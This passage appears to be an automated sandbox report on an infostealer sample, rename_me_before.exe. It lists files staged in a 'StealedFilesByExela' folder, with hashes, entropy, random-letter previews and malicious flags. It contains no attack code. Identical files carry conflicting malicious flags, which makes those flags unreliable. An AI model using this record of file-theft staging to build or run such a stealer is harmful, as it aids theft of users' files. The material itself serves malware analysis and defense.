XNEDJUNPYGNIIZSPVQBOLBRRRWGDMQWUTRSZWBYMXNMLKLFNZWJVDDPMJOXTVBMYRXNQFGBLURKFIUAHJBFFXNWQDYRLZADYGMETNXEOXLOJKYQPEYHUVTFGXQTGPQBWZQTVFXZFUVQERQZJCYYPFBYONAVFDOLTNRGWQYGSYWCWUWRETJZGVJMEFQTYPOLONVZFREVORMBQJOCLOALCJHHCHQSHKLUNBIRHRBSQSMERLKKFTGHUQKRPFIIELZZVXZVNHCIQYYXNMJNSOZOIRGGJKUWXNCWSNCFMGQIQVNKVIGRCLSDWQPEDLSLTGBRXRTMGFWYQSCLN

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\UMMBDNEQBN.png

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695685570184741
Encrypted:	false
SSDEEP:	24:SYuCgqv/1uycbC6SHsJPWXpOxTeVtblICcFX4xlyzK7y45wR39IRh:S1CPvsC6YE+XgleVtbQuKGf5M39IRh
MD5:	A28F7445BB3D064C83EB9DBC98091F76
SHA1:	D4E174D2D26333FCB66D3FD84E3D0F67AF41D182
SHA-256:	10A802E683A2C669BB581DE0A192C8291DD2D53D89A2883A59CC29EB14453B93
SHA-512:	42526FEC4220E50DB60BD7D83A07DEB9D5BE4F63AD093B518E9ECC86B779210B0170F6F64C9F16064D50CB12F03643BAC9995D4F3C0AFD5F8D38428D57ADE487
Malicious:	false
Preview:	UMMBDNEQBNVIMBNGHYZCBKXWMQJKYISTANSRNFXXBKALIIEMEWAFQEPTEMZCIXXNMQBGOXWSDYSAWKIYPJITNREMVRXPPJZFUTMGRRRGTCHVLEWVUJGZEUQVONQVACEFWZUCIAFXPFGXIUOOBZEEMGMWJQIEKKICYJJWAFUKYZAJEGUQKGDPRPXCOWIPBRUGHWDFZLGSKZVCHVVPGLEFNGIVLBVNAOVXAPGATADJBIQTBNJGWXRSEYKCSVZOSTCBHYFHUDEWNGEIFCVREPZDZDZRITFEVFCQQWJYZXPUKJWHTWGWASTKDCAVEWZOIGFZHRWCJBVRLDWGVKPABCQUOHQIMLUFUGYGMPGPEMSRPPSGWIGRVPBGZIWLNEVYFFJBCMBSXVABNRNXULCTUAANAXDHKZOGVCNQZHMRBENWTTLQVVMDLNBEWHLPZHMPDGRLJWAQJDJRCWTFWIOLAURRCSMFJOCFDKUGPLTPABARXKPCRXOIHHVRWXAKGHOTYLCEQQYYDKVZQSYLCAEGGBQMMJGSNJWBTJXSVALINNRLURMPNGFXHJRVJIKQJSDLNIOXGIGDFDCOTGGXMDLTDYSIKCMPVINDDXXQCEQCRUBLFEWMYMSEGUHIKIGUYOMOXSKOTVNUNGWUFYKYRNZXOOTSRYXLZHRZXNEDJUNPYGNIIZSPVQBOLBRRRWGDMQWUTRSZWBYMXNMLKLFNZWJVDDPMJOXTVBMYRXNQFGBLURKFIUAHJBFFXNWQDYRLZADYGMETNXEOXLOJKYQPEYHUVTFGXQTGPQBWZQTVFXZFUVQERQZJCYYPFBYONAVFDOLTNRGWQYGSYWCWUWRETJZGVJMEFQTYPOLONVZFREVORMBQJOCLOALCJHHCHQSHKLUNBIRHRBSQSMERLKKFTGHUQKRPFIIELZZVXZVNHCIQYYXNMJNSOZOIRGGJKUWXNCWSNCFMGQIQVNKVIGRCLSDWQPEDLSLTGBRXRTMGFWYQSCLN

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\UOOJJOZIRH.mp3

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694311754777018
Encrypted:	false
SSDEEP:	24:A8RGU2wNw6pbc5fP6UBtRzjn+4sNp3GYuf5/4dImDNR4+R00JOGJP89a:Aw4w9h+fiUBtJj+44pc3mDL4+R0MVJ/
MD5:	61908250A5348CC047FF15260F730C2B
SHA1:	CBCF34156EAE25B328A926E21008598EE8D1CBDE
SHA-256:	8700BF8369D39FD5DF142F9482CE8860BD8A26A3304EFBC57CBF9E45782C7A3A
SHA-512:	BCAB9A36BF1111B05BC52D8921CAC19ABC0FA18D93EA4EB9866DF4B31624FFCA2FF55A09C5051DC2AECAB18828BA8FDA5F31FA0F1E1B7CDC51DF39041E2A82F3
Malicious:	false
Preview:	UOOJJOZIRHPVBWNJCWUSWUNTMYTRIXAVHMVNTYLIPCAYUDIDHLMFMKJROINQAVRXUZLNINNJJSHFEFPSZPLVVWBUDRECRECFHEVVEZDHIFPUKQTLDLWAAKNHNLRQDSPWEEVMZICDCINAORJHMIUUNNJHMWJLZHCNXQIZIPHJPLEDKWATEVYJSWRRMCEJGQXHFBOGXKHJFORHFMGMLTTZJKPJBYMKZVWGZAIGHCFNXGRNDDLJZMCZBXDTQVGPSMNLFNFDHXXCXDJJUNSVHDRBZEZFIUQIYSJVDHEFPPPROTSFKVYAURVOKTIKGYYSWJMCPHHISKCOIVXEIQWZICSWMZJVHXNBACFJZRIEQPOISHMZILEXPCMYBSQRASRNWPSMMYPWJFEXHUUJQAMZDZSIKVETWBZUQBTDCCOYIIJFYYHXPZIUCZRQQFYTKLLGWQPTPZJIZHUEFVCDUNPMVORWJRIAYGRRAHBFWKSAMTDEVSHQXJBHBMOINFGNSRFJDWPSMFABPWRZHIOIPNMLHKGNVWQJYVTWLEZDGMBOJLNHPJKWMHWBVAEGELRTQORSRZQBNXOXEHQJHOEQVNZZJSGWQGINLWNPWFSJNPGRBFOBAEJAOEEMVKZTQZEVVODQLWGPNPNOPXEXLEESZERAPVAPHAUNNCEHTNMFJYBTYGSNGBIEDWGUTNCJDESWGYITWPGBEFVMZYUYPQOQBFITFPUQTWZNQFLWVTMUIAOXBCINJDYCHTXVFQFJQSMNUTYABAAOGGEUKHMDYKLCSGIBIFQSYOIRBUYVSCPDGMVNAQBKZPEKHNRNDPIHOUUTPJDKDOACRPOMZOQCOIAOBNPJLJIYDLQLQUMPIRAMVWNBCMMWFDLTUGWRDVGNHOOODYTHAGWDMJKRVJZFYCVLFLQUWEILFSEPBEADHBHFVWZGUZKNXQCRSBRLGIVTWCSHGFTTTPQAKFWFDXDYXWAWDKWXXTMSJSVOBRAYZGGBDPJOGLIZ

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\VLZDGUKUTZ.docx

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701757898321461
Encrypted:	false
SSDEEP:	24:JTbqccbbEKOWHOHPG9HXJMTwDwW63KkUdx/d:JTbmzOxeRaTaq3KBL/d
MD5:	520219000D5681B63804A2D138617B27
SHA1:	2C7827C354FD7A58FB662266B7E3008AFB42C567
SHA-256:	C072675E83E91FC0F8D89A2AEC6E3BC1DB53ADF7601864DDC27B1866A8AEEF4D
SHA-512:	C558140907F6C78EB74EE0F053B0505A8BB72692B378F25B518FA417D97CCB2D0A8341691BECAA96ADCE757007D6DC2938995D983AAC65024123BB63715EBD7C
Malicious:	true
Preview:	VLZDGUKUTZXKWULZBWDOTEIBVHVGPZOMETVGLHEKQQVYNUMUAOLBNSHZYTRKXENILISUHDAEEZWZEUNNMWJTKJJOLHKIGJBIHEMLZPVHEUDLHUZCSBUYGAPQSLHCFWHXEYFYTFGZTQNGXBIUAIOYCCCESLXKQMZDVXCDPKMYSWUFQOOGYCQASGJXLVOEKXBOBXDUKGAWAMSEHSFOUBZESSHGPVUWBSAXMDDSNTFJRIJVCYNCFLCMAYHAQBOVOYCQICAPOEIAOZZDHRFCBPBIJRAALGUMCZXSSRKWWTLWRCAGMBKLQATMELORFDRFOPMXYZUWVDECUBFKJYGAVNPIZHJACVPSNOSYGMZANGHNGZCHMGRVBLZWYXERUYHSGKNYMBIUOUVRRQZNFUEYVDSYNZOGCQQJBPAGGARUGCQGPSYMVKYFEATFTUASPFCLAYVPLRCXWCNIABDDVKSFBVZOWZJRZCFQZOXEFZYNRBPBMSHMJFACGUVZUTNGJUEWYWGPCEUFNJTHREUEIHDYXUSJMKBAJVWGYJBJZIRJSRNLDQEVFZAKVMKFJSIHDAKHIEZERYMCSJLFMAKTAGUIBEYUESOJBCXDNFVMNZJABIUVYPQJTWFYBZJPMWLOIHNHFGQHJMNWDFCATRHJYRIXKFJEEOLVSFDPTZNPUFUNEEOLRHVCPOPPOMEZBYTGJKKWUQRHCTFVKQBJAPTOLZADSWVPJYRGRDUWSTNCXLPQDMPVWSSFEHFWHSYNGNHOYZMFADSOTZRZJWXBGUPDZLPMKTZHVIXOFUFHPBTLFRGMMRKOTCWSSRSSXZJNZJGFXMQMXYXKQOFUEAKEJMGPTQUQWYKCZWFGOGJXTRBDEBXQWSDHUFBWIRPNOOENTWWFRIBLZBMAFTMZPLFLLVKTGMUXNKLRFNYLEFNKJWPWNLANWBRDASFRDJUPHVZRHEFBINQCKMOVMQOLDBWPTMYMMFRCLWITZRVFLDSOIFRMJCCQXYLT

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\VLZDGUKUTZ.jpg

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701757898321461
Encrypted:	false
SSDEEP:	24:JTbqccbbEKOWHOHPG9HXJMTwDwW63KkUdx/d:JTbmzOxeRaTaq3KBL/d
MD5:	520219000D5681B63804A2D138617B27
SHA1:	2C7827C354FD7A58FB662266B7E3008AFB42C567
SHA-256:	C072675E83E91FC0F8D89A2AEC6E3BC1DB53ADF7601864DDC27B1866A8AEEF4D
SHA-512:	C558140907F6C78EB74EE0F053B0505A8BB72692B378F25B518FA417D97CCB2D0A8341691BECAA96ADCE757007D6DC2938995D983AAC65024123BB63715EBD7C
Malicious:	true
Preview:	VLZDGUKUTZXKWULZBWDOTEIBVHVGPZOMETVGLHEKQQVYNUMUAOLBNSHZYTRKXENILISUHDAEEZWZEUNNMWJTKJJOLHKIGJBIHEMLZPVHEUDLHUZCSBUYGAPQSLHCFWHXEYFYTFGZTQNGXBIUAIOYCCCESLXKQMZDVXCDPKMYSWUFQOOGYCQASGJXLVOEKXBOBXDUKGAWAMSEHSFOUBZESSHGPVUWBSAXMDDSNTFJRIJVCYNCFLCMAYHAQBOVOYCQICAPOEIAOZZDHRFCBPBIJRAALGUMCZXSSRKWWTLWRCAGMBKLQATMELORFDRFOPMXYZUWVDECUBFKJYGAVNPIZHJACVPSNOSYGMZANGHNGZCHMGRVBLZWYXERUYHSGKNYMBIUOUVRRQZNFUEYVDSYNZOGCQQJBPAGGARUGCQGPSYMVKYFEATFTUASPFCLAYVPLRCXWCNIABDDVKSFBVZOWZJRZCFQZOXEFZYNRBPBMSHMJFACGUVZUTNGJUEWYWGPCEUFNJTHREUEIHDYXUSJMKBAJVWGYJBJZIRJSRNLDQEVFZAKVMKFJSIHDAKHIEZERYMCSJLFMAKTAGUIBEYUESOJBCXDNFVMNZJABIUVYPQJTWFYBZJPMWLOIHNHFGQHJMNWDFCATRHJYRIXKFJEEOLVSFDPTZNPUFUNEEOLRHVCPOPPOMEZBYTGJKKWUQRHCTFVKQBJAPTOLZADSWVPJYRGRDUWSTNCXLPQDMPVWSSFEHFWHSYNGNHOYZMFADSOTZRZJWXBGUPDZLPMKTZHVIXOFUFHPBTLFRGMMRKOTCWSSRSSXZJNZJGFXMQMXYXKQOFUEAKEJMGPTQUQWYKCZWFGOGJXTRBDEBXQWSDHUFBWIRPNOOENTWWFRIBLZBMAFTMZPLFLLVKTGMUXNKLRFNYLEFNKJWPWNLANWBRDASFRDJUPHVZRHEFBINQCKMOVMQOLDBWPTMYMMFRCLWITZRVFLDSOIFRMJCCQXYLT

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\VLZDGUKUTZ.xlsx

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701757898321461
Encrypted:	false
SSDEEP:	24:JTbqccbbEKOWHOHPG9HXJMTwDwW63KkUdx/d:JTbmzOxeRaTaq3KBL/d
MD5:	520219000D5681B63804A2D138617B27
SHA1:	2C7827C354FD7A58FB662266B7E3008AFB42C567
SHA-256:	C072675E83E91FC0F8D89A2AEC6E3BC1DB53ADF7601864DDC27B1866A8AEEF4D
SHA-512:	C558140907F6C78EB74EE0F053B0505A8BB72692B378F25B518FA417D97CCB2D0A8341691BECAA96ADCE757007D6DC2938995D983AAC65024123BB63715EBD7C
Malicious:	false
Preview:	VLZDGUKUTZXKWULZBWDOTEIBVHVGPZOMETVGLHEKQQVYNUMUAOLBNSHZYTRKXENILISUHDAEEZWZEUNNMWJTKJJOLHKIGJBIHEMLZPVHEUDLHUZCSBUYGAPQSLHCFWHXEYFYTFGZTQNGXBIUAIOYCCCESLXKQMZDVXCDPKMYSWUFQOOGYCQASGJXLVOEKXBOBXDUKGAWAMSEHSFOUBZESSHGPVUWBSAXMDDSNTFJRIJVCYNCFLCMAYHAQBOVOYCQICAPOEIAOZZDHRFCBPBIJRAALGUMCZXSSRKWWTLWRCAGMBKLQATMELORFDRFOPMXYZUWVDECUBFKJYGAVNPIZHJACVPSNOSYGMZANGHNGZCHMGRVBLZWYXERUYHSGKNYMBIUOUVRRQZNFUEYVDSYNZOGCQQJBPAGGARUGCQGPSYMVKYFEATFTUASPFCLAYVPLRCXWCNIABDDVKSFBVZOWZJRZCFQZOXEFZYNRBPBMSHMJFACGUVZUTNGJUEWYWGPCEUFNJTHREUEIHDYXUSJMKBAJVWGYJBJZIRJSRNLDQEVFZAKVMKFJSIHDAKHIEZERYMCSJLFMAKTAGUIBEYUESOJBCXDNFVMNZJABIUVYPQJTWFYBZJPMWLOIHNHFGQHJMNWDFCATRHJYRIXKFJEEOLVSFDPTZNPUFUNEEOLRHVCPOPPOMEZBYTGJKKWUQRHCTFVKQBJAPTOLZADSWVPJYRGRDUWSTNCXLPQDMPVWSSFEHFWHSYNGNHOYZMFADSOTZRZJWXBGUPDZLPMKTZHVIXOFUFHPBTLFRGMMRKOTCWSSRSSXZJNZJGFXMQMXYXKQOFUEAKEJMGPTQUQWYKCZWFGOGJXTRBDEBXQWSDHUFBWIRPNOOENTWWFRIBLZBMAFTMZPLFLLVKTGMUXNKLRFNYLEFNKJWPWNLANWBRDASFRDJUPHVZRHEFBINQCKMOVMQOLDBWPTMYMMFRCLWITZRVFLDSOIFRMJCCQXYLT

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\WKXEWIOTXI.png

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697336881644685
Encrypted:	false
SSDEEP:	24:DVE9Jf1tiezZxapTBz4fmlhQHdwc6WS/ZCGxruwyJM:Deu8xafWWKHj6Zx
MD5:	08AF516B9E451DB9845289801A21F1BC
SHA1:	D43E58D334ACFAE831AD929003D89DC6D3B499F9
SHA-256:	C459EA8FCABD26C75606F78F91AA8446698D90422EE4869ABE4ABCCB50B45379
SHA-512:	C8C2BB634740DBDDC5928E5FD3960011BB86842B72673FDCE2D65C86AE6D5945F0C88E81AE96DEA711CC654FAC8B4EC809DF18F57BFB4129503DE37E426CF055
Malicious:	false
Preview:	WKXEWIOTXIKPVKMTOJVZKCCJOJQJVVBUCRVSCWBTZFRFCLMJEFYWDAADXDSWAVKQUKEQVBGBEVVYQQKRCSDIQBFHQPNUHXEGBVBQAZXUXMBFNLNCNTBFAMVYZJITBIGADWSFAFETGWVSLSMWHTRSSUNGFAPUBMTUYBFNDIWUKESLBWQSCOTLFFHGDQBTCYHJBCBOARQTWMUDRIUXIXOCLDIEADCRMXGAMQGVIRNLAGTALJHBZWRNXXRRBLYDOAYCBGEJCTGYVJXPIAIVUAKQQBRSXZKMFBMWWCHMTGNMNRBVSOTUFWOEJRLHHVPMJECGASFUTKIEPJVDDGJBEAOSKQSOAKQFVDMPVFZXVQQGBIVNAKYSEGLMWLAYDYTALUJSLPWCLEJKQBXBYHAKPFMJEIYHGDOFGQSDOCEQICJNJHPIMYZXEEBLQDGZQJHXKMNXDWJCMMFBONBYYWLDOKPYOROQOAOXKLNFZNGOBDFJUKRZTHKLRBINVCYAUIXORJECNOHLVMBHPPCTEWZMHAKKOWVWNWGYCHRMUWRNDXFYYWTIGTCJKQDPGUNHAJQDLUZMXHCGTFUQBMGYHZZQTDVDXANXWNWKFTJJGQDHQOXVXPQVSIEKEEJXYUACENKWKIJBJQXHMLMPZXYAVPNORKZSDXAKFPVLVKXAALPKPLPVFPCSRBEEJDNJCIJXXOCNXCBVGHIYCQQVQHTTNURHGTJJXKJRPJEGOUFOHMMCJGVNMXOAXZBVGWVBLQZNFUTGTNMFHQOEJPQLIMHIWPQHWMJJDCVVMWJEEFQQZJEEECMHCCUANTBJYRWUCSJSOHYMSBWTKOKBZPVNMIVCLDDALCEUFSLAOCOCSAXADDYPCSIANHKQFGMSMYTDVKAOIYTWPDDCRKDNZYGXHYDSDFXTLUDKREZTPVBCYOHCUNIFNCKBSSGTENGDYROMJUTSSFWEEFXLJPBMSINKXZCEUWQMDWGNHDWNFHYTECVIYIAPNGWL

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\XZXHAVGRAG.docx

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69156792375111
Encrypted:	false
SSDEEP:	24:wT4Ye6841ff8PdGjcDOa8AtDLSoarbrGxYsrxpuzu:/Ye68AIGjiOaDDc4uzu
MD5:	A4E170A8033E4DAE501B5FD3D8AC2B74
SHA1:	589F92029C10058A7B281AA9F2BBFA8C822B5767
SHA-256:	E3F62A514D12A3F7D0EB2FF2DA31113A72063AE2E96F816E9AD4185FF8B15C91
SHA-512:	FB96A5E674AE29C3AC9FC495E9C75B103AE4477E2CA370235ED8EA831212AC9CB1543CB3C3F61FD00C8B380836FE1CA679F40739D01C5DDE782C7297C31F4F3A
Malicious:	false
Preview:	XZXHAVGRAGWUZPDZUEGAYKLOJAATOVXJVRJCLWZVJFOFPZNHYWDUACWAEZMWROZFSNVNLUZTIGQHRPFNIXZWAQNKEFFVMFVJEYHESHQWKICFNAONPPGGSABXPCYNBZITQCMUVOCKUUGGEKLAFNXLBOWPVKEOIBLWWAPOYVIECYONJSQKQQDXGYONJXNAQTSMYDMXZYXYEGULUXOLZALCFDXCFNFKPZDKANUFUXWMRLBIQALSWLXEXAFGLOYIFRMFQEZVUTIKXYTPJYCVKCQFZXEECZIXEIHQZQQYTVHKAQLEKMWMZZULQXNCKIJZACKDTKVLWIVBKFQXXOMIGVNYLPAXZFSMAZJTXJUXMZPVKWUQVNXGFUJUQLXWUJWXXGWFDEHIUZKLUQKWAGSXVVNNFXCYWQGRDZCZRLRYXTMLQRGEHRFDGZJOZZKKYLKBWQOZXHGQWMYFROUTIBGKPARBJPOEDNOQMKUEALEVNBPCUIKVTPAWCUIHGVFJWDYFDWTASWSIDDELYILSJEFAACQCZMSARBUAQIRFFLJJMHBVZYFUUTOLDYGUUVIYGJYNXGWJCYUYVJKCVNACSGWHTSOCDOFFPNNHQEMEAXXRINULLPFMNSQUWWIGEJQABGOQLKIXTZYHHQQTOZYLTNJMMWELZZPDIDHXRBCJGZUDMDGVMAEUIWFYWGIHBTOBLWXIEGHJRIDDBTOXKXOOIAAJUPCJRNMROGCUNSCGQYEEZLWOYIYMJPGKLDXEOGUAUHNUJCEFMGEKRBWDAHWRXWVSFQCURHTSGJQWPJHWEAHXCEQVKJRECGPJBGCDBEGBIRMVXHGYHMWJXIXMQHTKSZFVSATJKNAJOYAJNKDTKZMBHRENBCAYUBASQOTKKVNCTZIOGOUVVDNXYVJFHXTPSZMOWWCPPMBMLCTTPGONDVJOVLCMTWRESLSDGLNGAGTIXVYAJZVBYYHWAMERRRQXMWVCYELNGPYXOGOPHWVXCTQIKXSK

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\XZXHAVGRAG.xlsx

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69156792375111
Encrypted:	false
SSDEEP:	24:wT4Ye6841ff8PdGjcDOa8AtDLSoarbrGxYsrxpuzu:/Ye68AIGjiOaDDc4uzu
MD5:	A4E170A8033E4DAE501B5FD3D8AC2B74
SHA1:	589F92029C10058A7B281AA9F2BBFA8C822B5767
SHA-256:	E3F62A514D12A3F7D0EB2FF2DA31113A72063AE2E96F816E9AD4185FF8B15C91
SHA-512:	FB96A5E674AE29C3AC9FC495E9C75B103AE4477E2CA370235ED8EA831212AC9CB1543CB3C3F61FD00C8B380836FE1CA679F40739D01C5DDE782C7297C31F4F3A
Malicious:	false
Preview:	XZXHAVGRAGWUZPDZUEGAYKLOJAATOVXJVRJCLWZVJFOFPZNHYWDUACWAEZMWROZFSNVNLUZTIGQHRPFNIXZWAQNKEFFVMFVJEYHESHQWKICFNAONPPGGSABXPCYNBZITQCMUVOCKUUGGEKLAFNXLBOWPVKEOIBLWWAPOYVIECYONJSQKQQDXGYONJXNAQTSMYDMXZYXYEGULUXOLZALCFDXCFNFKPZDKANUFUXWMRLBIQALSWLXEXAFGLOYIFRMFQEZVUTIKXYTPJYCVKCQFZXEECZIXEIHQZQQYTVHKAQLEKMWMZZULQXNCKIJZACKDTKVLWIVBKFQXXOMIGVNYLPAXZFSMAZJTXJUXMZPVKWUQVNXGFUJUQLXWUJWXXGWFDEHIUZKLUQKWAGSXVVNNFXCYWQGRDZCZRLRYXTMLQRGEHRFDGZJOZZKKYLKBWQOZXHGQWMYFROUTIBGKPARBJPOEDNOQMKUEALEVNBPCUIKVTPAWCUIHGVFJWDYFDWTASWSIDDELYILSJEFAACQCZMSARBUAQIRFFLJJMHBVZYFUUTOLDYGUUVIYGJYNXGWJCYUYVJKCVNACSGWHTSOCDOFFPNNHQEMEAXXRINULLPFMNSQUWWIGEJQABGOQLKIXTZYHHQQTOZYLTNJMMWELZZPDIDHXRBCJGZUDMDGVMAEUIWFYWGIHBTOBLWXIEGHJRIDDBTOXKXOOIAAJUPCJRNMROGCUNSCGQYEEZLWOYIYMJPGKLDXEOGUAUHNUJCEFMGEKRBWDAHWRXWVSFQCURHTSGJQWPJHWEAHXCEQVKJRECGPJBGCDBEGBIRMVXHGYHMWJXIXMQHTKSZFVSATJKNAJOYAJNKDTKZMBHRENBCAYUBASQOTKKVNCTZIOGOUVVDNXYVJFHXTPSZMOWWCPPMBMLCTTPGONDVJOVLCMTWRESLSDGLNGAGTIXVYAJZVBYYHWAMERRRQXMWVCYELNGPYXOGOPHWVXCTQIKXSK

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\YPSIACHYXW.mp3

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.700014595314478
Encrypted:	false
SSDEEP:	24:ZUpld6DFp3zvtLC4Tmg3c0x2ngfNqdsD1OqVMyUXHt/Sv0vyjsbsV:upqDL3hO4TRc4Eq8tKvYgV
MD5:	960373CA97DEDBA8576ECF40D0D1E39D
SHA1:	E89C5AC4CF0B920C373CFA7D365C40C1009A14F6
SHA-256:	501DC438F0E931ABED9FDE388BA5A8FAE8445117823118C413F54793F0E10FD7
SHA-512:	93B34F6BC4DCEA41103E31272F2DC9CF07CC100F934CECC8F4317525DA65128DBBAD75B23CE40D46EE1DC11D10147250CAE33F01220F5624E2406B2596B726EB
Malicious:	false
Preview:	YPSIACHYXWDOAOALJCJYYKHKMGYIZBYLJSULATZCLAKGTHKIZZZPZMBAJFNQKRWGKHDEEYLGCRMYXVOJCXPRDOFVVXDFSZNRLGLUNBQSCSVJXKHLUFNOKRCASVQNUJDYWNWTNGJYBIKCERFIRWTZVUUNKNCMUGKTMSRIVLFQTZDVSHZTYRURNPZRSHICVPPIWUNOSYRCNVXHOFETKZDTIEIOQHCHWHDXEDXBZFSWIFFLXTXQXUBJCTQSDGVAMQKTUHJAAEDEECWFOEDCAALGNKEQRGJPVEEVJPTSROUZFPHKPUHLAYRHVULFESXXGKSAIYLAVSWMISSCMRGVQGXFGFYXBQBRZHILLZQUJRQJHUVBFDBPCNUAKOXURUUUKQNRUEAXAAXWIVATBILRXVUBDTFNWUQLPZELETXDQPCWJXRRAQILAVVZFAMGUWUYYORCQNUYLSNLTNXIAWJVDTPNCZPHSWYWWTBBJECMEGHRCATJANBKSCMLVOBOTXPKGMTOJISGOTUUOFVJPAGNMHFSAFRHQUHMYURLAJVNZPEMNMUDZAUMRZHQJBWVCUSQAENWUTRFBUFUWIPJYVLYDUIBJSTTFGSFBHTKIXJNVJUYJGSHZHMDONOHBMLQDTHGTPLYVKGUXWHEYTHTWOOMQOGUFQGRWUYBVWILTRHBAIJHZKXNAQYAIZBPYWWZSBDWNPRWGFXHNPFFMHKCCERIWCTACKIVXLZBNOTBYDOPJBYTZWNSXYXVYPHAGUHBXKPPAFNZGWEKOBPXTCLBIOEIVWLELPXJAINCDBEUOIFMNFWSRDONSGUCNGDZLIAFVNUQXZMTVJLIACGEXXESAGRKCPJNTKZHMMCTJZCLWNTNEJFUCODLVBCJHINWJYBLRXSKLVKNYGPLXGKEHMXSDKIAPHRGHBOCHQEJPMJEKRMRTLJNYNRHDPPQKJHXGYJMDUOESMBVJOBKJWUUSSZEQAGHANSYFBHIZFXSLENBLJWCHGEM

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Documents\BPMLNOBVSB.jpg

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.702896917219035
Encrypted:	false
SSDEEP:	24:/PRNNS0CSvZqsz3phzXGrOVx0E5lpmo3ntC4hUh31nnrgy:/wQvwsz3phzWrOVxXnncRh31nrgy
MD5:	C68274AA8B7F713157BEBE2FCC2EA5D3
SHA1:	52A5A2D615A813B518DDAAC2A02095F1059DAAD5
SHA-256:	362C32AB7AEE8A211871A6045DADFEBF087D5EC2A3470FBEF42BC1C0E8CF0542
SHA-512:	BB653D9E0948C2BD3586BC7CABC777BCDA84F749B73B26E4FD667C22F9629D8A7EC4F94ADBCAAF679FC116CDDA1F0D55CB348CD50BD3B6A4484F48A203E32883
Malicious:	false
Preview:	BPMLNOBVSBRFPSKLKRJEVHBRVUUOUWMMDGAHEFTOXDSJSRQBDQADKRAAIMJBBXHJZSYGDGSBIJCBPDLCIPLGVURSSGYXQXCVEDYOHFVNTWOSWAODXQUYSQDZDKFJYMCQZOAAPCNEEITKKQAOZJLGLFTYOILWUOSTJMBMUSHEQYRRGRAOIGHQXDIXRMKPCYCIDORIRGMLSPAFIUBBOMPKCNUTVROXQQMRPPEYTVHGRIWJQZREOHPNIXFSPUEZGKVJWTNJVDHDCOMTLCENQMHDIOFNLZNLPFMCGQAWNZVHKKTCZJIHININWOCQTMBLXKYEUXUUKCZAKOINULOSSFHJSGRNIDZZLUKXSJKRQIPXODCNMCWZEQEGJHTKEBKCHWRCJJEITXLWRGJUOYWSWNFVRXXLTBNUBFYSNPVKHAJAOKQIGZUIREJCJKNRVWECUBFUQVUSSEVFZFGAGLZHTJIRXFGLLTHCDJRQSVBUTENMMECBKNQAOTCGUKCAUANZSSYPURGXINFDSJOSJXFPPQOKWUJNGLOACGPRELXIXQZZNXUEJPFZQRDXMWSGEPNTSQRNGFYRRORGOCRJKMCRFZPVDFDRDZCHPWYNXBAOHXICQPOHWXUVYMEAZUMLLNZQAOCCUKTGCMNZUMKUHEIUUYFGMSIEUWOKDVUTQHRMSVPQFKZILWLKZLKCAJHKFHZJFEJAIIZQWILLXMKWLUETDBWSKQOQQECLVCWJSIQXHNDZAYVIFNNYOZKGGFZMIYUCHYFNVXUHKZCOQBJAYWMEKPQVFWNVIJXYFYHWXFXSXDCSRYIODDWXNUTAYNOXAVMATSYETUSRJPYJEQCIEGHSXOOCALKHPRGXFNWHDUNNXCXELBKBUMKTJRNZBLLQWINSTBBGQYWIVUZENAMGRAYFSSGBXLPJXWYTCERBJXCYMHQMJPSVPWCDSLLUJZTWDDJDHIADYETBWZFZQTYTPWPBFDIVVSAOFDDHMUMYLEFUUIKC

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Documents\DTBZGIOOSO.docx

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.705615236042988
Encrypted:	false
SSDEEP:	24:B65nSK3I37xD9qo21p9G7ILc3pkowOeuiyJRdt7fXzyxu3f7Lj8X2:B65SK3Xx1OXpkowOeMJR/fzeYX8X2
MD5:	159C7BA9D193731A3AAE589183A63B3F
SHA1:	81FDFC9C96C5B4F9C7730127B166B778092F114A
SHA-256:	1FD7067403DCC66C9C013C2F21001B91C2C6456762B05BDC5EDA2C9E7039F41D
SHA-512:	2BC7C0FCEB65E41380FE2E41AE8339D381C226D74C9B510512BD6D2BAFAEB7211FF489C270579804E9C36440F047B65AF1C315D6C20AC10E52147CE388ED858A
Malicious:	false
